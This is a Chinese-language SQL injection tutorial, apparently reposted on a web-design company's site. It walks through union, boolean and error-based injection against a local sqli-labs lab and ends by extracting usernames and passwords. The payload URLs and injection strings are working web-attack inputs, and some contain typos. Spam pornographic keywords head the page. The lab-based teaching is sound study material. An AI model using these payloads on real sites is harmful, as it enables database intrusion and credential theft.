真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

web安全中SQL注入基礎(chǔ)知識(shí)點(diǎn)有哪些

這篇文章主要介紹“web安全中SQL注入基礎(chǔ)知識(shí)點(diǎn)有哪些”的相關(guān)知識(shí),小編通過(guò)實(shí)際案例向大家展示操作過(guò)程,操作方法簡(jiǎn)單快捷,實(shí)用性強(qiáng),希望這篇“web安全中SQL注入基礎(chǔ)知識(shí)點(diǎn)有哪些”文章能幫助大家解決問(wèn)題。

成都創(chuàng)新互聯(lián)主營(yíng)西林網(wǎng)站建設(shè)的網(wǎng)絡(luò)公司,主營(yíng)網(wǎng)站建設(shè)方案,手機(jī)APP定制開(kāi)發(fā),西林h5微信平臺(tái)小程序開(kāi)發(fā)搭建,西林網(wǎng)站營(yíng)銷(xiāo)推廣歡迎西林等地區(qū)企業(yè)咨詢(xún)

SQL注入基礎(chǔ)

SQL注入介紹

Web請(qǐng)求響應(yīng)過(guò)程:

web安全中SQL注入基礎(chǔ)知識(shí)點(diǎn)有哪些

什么是SQL注入?

就是指web應(yīng)用程序?qū)τ脩?hù)輸入數(shù)據(jù)的合法性沒(méi)有判斷,前端傳入后端的參數(shù)是攻擊者可控的,并且參數(shù)帶入數(shù)據(jù)庫(kù)查詢(xún),攻擊者可以通過(guò)構(gòu)造不同的SQL語(yǔ)句來(lái)實(shí)現(xiàn)對(duì)數(shù)據(jù)庫(kù)的任意操作。

為什么會(huì)產(chǎn)生sql注入?

開(kāi)發(fā)人員可以使用動(dòng)態(tài)SQL語(yǔ)句創(chuàng)建通用,靈活的應(yīng)用。動(dòng)態(tài)SQL語(yǔ)句是在執(zhí)行過(guò)程中構(gòu)造的,它根據(jù)不同的條件產(chǎn)生不同的sql語(yǔ)句。當(dāng)開(kāi)發(fā)人員在運(yùn)行過(guò)程中需要根據(jù)不同的查詢(xún)標(biāo)準(zhǔn)決定提取什么字段(如select語(yǔ)句),或者根據(jù)不同的條件選擇不同的查詢(xún)表時(shí),動(dòng)態(tài)地構(gòu)造SQL語(yǔ)句會(huì)非常有用。

Php語(yǔ)句為列:

$query=“SELECT * FROM users WHERE id = $_GET[‘id’]”;

由于這里的參數(shù)ID可控,且?guī)霐?shù)據(jù)庫(kù)查詢(xún),所以非法用戶(hù)可以任意拼接SQL語(yǔ)句進(jìn)行攻擊。

web安全中SQL注入基礎(chǔ)知識(shí)點(diǎn)有哪些

SQL注入的原理

Sql注入漏洞的產(chǎn)生需要滿足那兩個(gè)條件?

參數(shù)用戶(hù)可控:前端傳給后端的參數(shù)內(nèi)容是用戶(hù)可以控制的。

參數(shù)帶入數(shù)據(jù)庫(kù)查詢(xún):傳入的參數(shù)拼接到sql語(yǔ)句,且?guī)霐?shù)據(jù)庫(kù)查詢(xún)。

當(dāng)傳入ID參數(shù)為1'時(shí),數(shù)據(jù)庫(kù)執(zhí)行的代碼如下所示。 

sehlect * from users where id =1'

這樣是會(huì)報(bào)出錯(cuò)誤的,因?yàn)檫@不符合數(shù)據(jù)庫(kù)語(yǔ)法規(guī)范。

當(dāng)傳入的ID參數(shù)為and 1=1 時(shí),執(zhí)行的SQL語(yǔ)句如下所示。

select * from users where id = 1' and 1=1

因?yàn)?=1為真,且where語(yǔ)句中id1=1也為真,所以頁(yè)面會(huì)返回與id=1相同的結(jié)果。

當(dāng)傳入的ID參數(shù)為and 1=2時(shí),由于1=2不成立,所以返回假,頁(yè)面就會(huì)返回與id=1不同的結(jié)果。

由此可以初步判斷ID參數(shù)存在SQL注入漏洞,攻擊者可以進(jìn)一步拼接SQL語(yǔ)句進(jìn)行攻擊,致使數(shù)據(jù)庫(kù)信息泄露,甚至進(jìn)一步獲取服務(wù)器權(quán)限等。

—————————————————————————————————————————————————————

在實(shí)際環(huán)境中,凡是滿足上述兩個(gè)條件的參數(shù)皆可能存在SQL注入漏洞,因此開(kāi)發(fā)者需秉持“外部參數(shù)皆不可信的原則”進(jìn)行開(kāi)發(fā)。

—————————————————————————————————————————————————————

與MySQL注入相關(guān)的知識(shí)點(diǎn)

Mysql數(shù)據(jù)庫(kù)

數(shù)據(jù)庫(kù)A=網(wǎng)站A

表名

列名

數(shù)據(jù)

數(shù)據(jù)庫(kù) B=網(wǎng)站B

數(shù)據(jù)庫(kù)

在MySql5.0 版本之后,MySql默認(rèn)在數(shù)據(jù)庫(kù)中存放一個(gè)“information_schema”的數(shù)據(jù)庫(kù),在該庫(kù)中,讀者需要記住三個(gè)表名,分別是

SCHEMATA,TABLES,COLUMNS

SCHEMNSz表存儲(chǔ)該用戶(hù)創(chuàng)建的所有數(shù)據(jù)庫(kù)的庫(kù)名,我們需要記住該表中記錄數(shù)據(jù)庫(kù)庫(kù)名的字段名為SCHEMA_NAME

TABLES表存儲(chǔ)該用戶(hù)創(chuàng)建的所有數(shù)據(jù)庫(kù)的庫(kù)名和表名,我們需要記住該表中記錄數(shù)據(jù)庫(kù)庫(kù)名和表名的字段名分別為TABLE_SCHEMA和TABLE_NAME。

COLUMNS表名和字段名的字段名為TABLE_SCHEMA,TABLE_NAME和COLUMN_NAME。

Mysql查詢(xún)語(yǔ)句

在不知道任何條件時(shí),語(yǔ)句如下所示。

SELECT 要查詢(xún)的字段名 FROM 庫(kù)名.表名

在知道一條已知條件時(shí),語(yǔ)句如下所示。

SELECT 要查詢(xún)的字段名 FROM 庫(kù)名.表名 WHERE 已知條件的字段名=‘已知條件的值’

在知道兩條已知條件時(shí),語(yǔ)句如下所示。

SELECT 要查詢(xún)的字段名 FROM 庫(kù)名.表名 WHERE 已知道條件1的字段名=‘已知條件1的值’ AND 已知條件2的字段名=‘已知條件2的值’

Limit 的用法

Limit的使用格式為limit m,n, 其中m是指記錄開(kāi)始的位置,從0開(kāi)始,表示第一條記錄;n是指取n條記錄。

例如limit 0,1表示從第一條記錄開(kāi)始,取一條記錄,

需要記住的幾個(gè)函數(shù)

Database():當(dāng)前網(wǎng)站使用的數(shù)據(jù)庫(kù)

Version():當(dāng)前MySQL的版本

User():當(dāng)前MySQL的用戶(hù)

注釋符號(hào)

在MySQL中,常見(jiàn)注釋符的表達(dá)方式:#或-- 空格或/**/

內(nèi)聯(lián)注釋

內(nèi)聯(lián)注釋的形式:/! code/。內(nèi)聯(lián)注釋可以用于整個(gè)SQL語(yǔ)句中,用來(lái)執(zhí)行我們的SQL語(yǔ)句,下面舉一個(gè)列:

index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3

Union(聯(lián)合)注入攻擊

在線靶場(chǎng)

http://127.0.0.1/sqli-labs/Less-1/?id=1

一、判斷是否用(')做字符串引號(hào)

http://127.0.0.1/sqli-labs/Less-1/?id=1'and 1=1 --+

https://blog.csdn.net/qq_41630808/article/details/80570197

正常輸出

出錯(cuò)代表沒(méi)有閉合  說(shuō)明沒(méi)有用’可能沒(méi)有用' 或用了"或()

http://127.0.0.1/sqli-labs/Less-1/?id=1%27and%201=2--+

則是''字符串注入

二、判斷它所在的數(shù)據(jù)庫(kù)有幾列

http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 3 --+ 判斷是否有3列

正常

http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 4 --+ 判斷是否有4列

錯(cuò)誤

說(shuō)明它輸出的內(nèi)容所在的數(shù)據(jù)庫(kù)有3列

三、判斷他顯示的內(nèi)容在數(shù)據(jù)庫(kù)的第幾列

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+

則 Your Login name 在第二列Your Password在第三列

我選擇在第二列輸出我想要的內(nèi)容

四、查找出當(dāng)前用戶(hù)權(quán)限

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,user(),3 --+

root權(quán)限

五、查找當(dāng)前數(shù)據(jù)庫(kù)

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,database(),3 --+

當(dāng)前數(shù)據(jù)庫(kù)是 security

六、查找security的表名

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),3 --+

表名是 emails,referers,uagents,users

group_concat()會(huì)計(jì)算哪些行屬于同一組,將屬于同一組的列顯示出來(lái)。要返回哪些列,由函

數(shù)參數(shù)(就是字段名)決定

七、查找users里的字段

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),3 --+

八、查找用戶(hù)名

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(username) from security.users),3 --+

九、查找密碼

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(password) from security.users),3 --+

這樣 這個(gè)就完成了  已經(jīng)拿到了賬號(hào)密碼

Union  (聯(lián)合) 注入代碼分析

在Union注入頁(yè)面中,程序獲取GET參數(shù)ID,將ID拼接到SQL語(yǔ)句中,在數(shù)據(jù)庫(kù)中查詢(xún)參數(shù)的ID對(duì)應(yīng)的內(nèi)容,然后將第一條查詢(xún)結(jié)果中的usernameaddress輸出到頁(yè)面,

由于是將數(shù)據(jù)輸出到頁(yè)面上的,所以利用Union語(yǔ)句查詢(xún)其他數(shù)據(jù),代碼如下:

![

](http://ww1.sinaimg.cn/large/007bHQE8gy1g58le58wz5j30ou0bo77h.jpg)

當(dāng)訪問(wèn)id=1 union select 1,2,3時(shí),執(zhí)行的SQL語(yǔ)句為:

`Select * from users where ‘id’=1 union select 1,2,3``

此時(shí)sql語(yǔ)句可以分為select \* from users where ‘id’=1union select 1,2,3兩條,利用第二條語(yǔ)句(Union查詢(xún))就可以獲取數(shù)據(jù)庫(kù)中的數(shù)據(jù)。

(優(yōu)化在源碼中添加sql語(yǔ)句執(zhí)行代碼)

Boolean  (布爾型) 注入攻擊

1' and length(database())>=1--+         //判斷數(shù)據(jù)庫(kù)的長(zhǎng)度

l' and substr(database(),1,1)=‘t’ --+       //判斷數(shù)據(jù)庫(kù)第一個(gè)字母的值

l' and substr(database(),2,1)=‘q’ --+      //判斷數(shù)據(jù)庫(kù)的第二個(gè)字母的值

l' and ord(substr(database(),1,1))=115--+  //利用ord和ASCII判斷數(shù)據(jù)庫(kù)庫(kù)名

l' and substr(database(),2,1)=’q’--+       //利用substr判斷數(shù)據(jù)庫(kù)的庫(kù)名

l' and substr(select table_name from information_schema.table where table_schema=‘sql’ limit 0,1),1,1)=‘e’ --+   //利用substr判斷數(shù)據(jù)庫(kù)的表名

1.   length(str):返回str字符串的長(zhǎng)度。

2.   substr(str, pos, len):將str從pos位置開(kāi)始截取len長(zhǎng)度的字符進(jìn)行返回。注意這里的pos位置是從1開(kāi)始的,不是數(shù)組的0開(kāi)始

3.  mid(str,pos,len):跟上面的一樣,截取字符串

4.   ascii(str):返回字符串str的最左面字符的ASCII代碼值。

5.   ord(str):同上,返回ascii碼

6.   if(a,b,c) :a為條件,a為true,返回b,否則返回c,如if(1>2,1,0),返回0

Boolean (布爾型)注入代碼分析

在Boolean注入頁(yè)面中程序先獲取GET參數(shù)ID,通過(guò)preg_match判斷其中是否存在union/sleep/benchmark等危險(xiǎn)字符。然后將參數(shù)ID拼接到SQL語(yǔ)句,從數(shù)據(jù)庫(kù)中查詢(xún),

web安全中SQL注入基礎(chǔ)知識(shí)點(diǎn)有哪些

當(dāng)訪問(wèn)id=1‘ or 1=1%23時(shí),數(shù)據(jù)庫(kù)執(zhí)行的語(yǔ)句為selcet * from user where ‘id’=’1’ or 1=1#,由于or 1=1是永真條件,所有此時(shí)返回正常。當(dāng)訪問(wèn)id=1‘ and 1=2%23時(shí),

數(shù)據(jù)庫(kù)執(zhí)行的語(yǔ)句為select * from users where ‘id’ = ‘1’ and 1=2#, 由于and‘1‘ =’2‘ 是永假條件,所有此時(shí)頁(yè)面肯定會(huì)返=返回錯(cuò)誤。

報(bào)錯(cuò)注入攻擊

updatexml(1,concat(0x7e,(select user()),0x7e),1)--+       //利用updatexml獲取user()

‘ and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+   //利用updatexml獲取database()

`‘ and updatexml(1,concat(0x7e,(select select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+**              //**利用報(bào)錯(cuò)注入獲取數(shù)據(jù)庫(kù)庫(kù)名

‘ and updatexml(1,concat(0x7e,(select select table_name from information_schema.tables where table_schema= ‘test’  limit 0,1),0x7e),1)--+    //利用報(bào)錯(cuò)注入獲取數(shù)據(jù)庫(kù)表名

## 報(bào)錯(cuò)注入攻擊代碼分析


**在報(bào)錯(cuò)注入頁(yè)面中,程序獲取GET參數(shù)username 后,將username拼接到SQL語(yǔ)句中然后,然后到數(shù)據(jù)庫(kù)查詢(xún)。**

 ![](http://ww1.sinaimg.cn/large/007bHQE8gy1g58lsi2dz3j30ua0a9419.jpg)


輸入username=1‘時(shí),SQL語(yǔ)句為select * from user where ‘username’=‘1“。執(zhí)行時(shí)會(huì)因?yàn)槎嗔艘粋€(gè)單引號(hào)而報(bào)錯(cuò)。利用這種錯(cuò)誤回顯,我們可以通過(guò)floor(),updatexml()


等函數(shù)將要查詢(xún)的內(nèi)容輸出到頁(yè)面上。

關(guān)于“web安全中SQL注入基礎(chǔ)知識(shí)點(diǎn)有哪些”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識(shí),可以關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,小編每天都會(huì)為大家更新不同的知識(shí)點(diǎn)。


網(wǎng)站名稱(chēng):web安全中SQL注入基礎(chǔ)知識(shí)點(diǎn)有哪些
本文URL:http://weahome.cn/article/pdggpd.html

其他資訊

在線咨詢(xún)

微信咨詢(xún)

電話咨詢(xún)

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部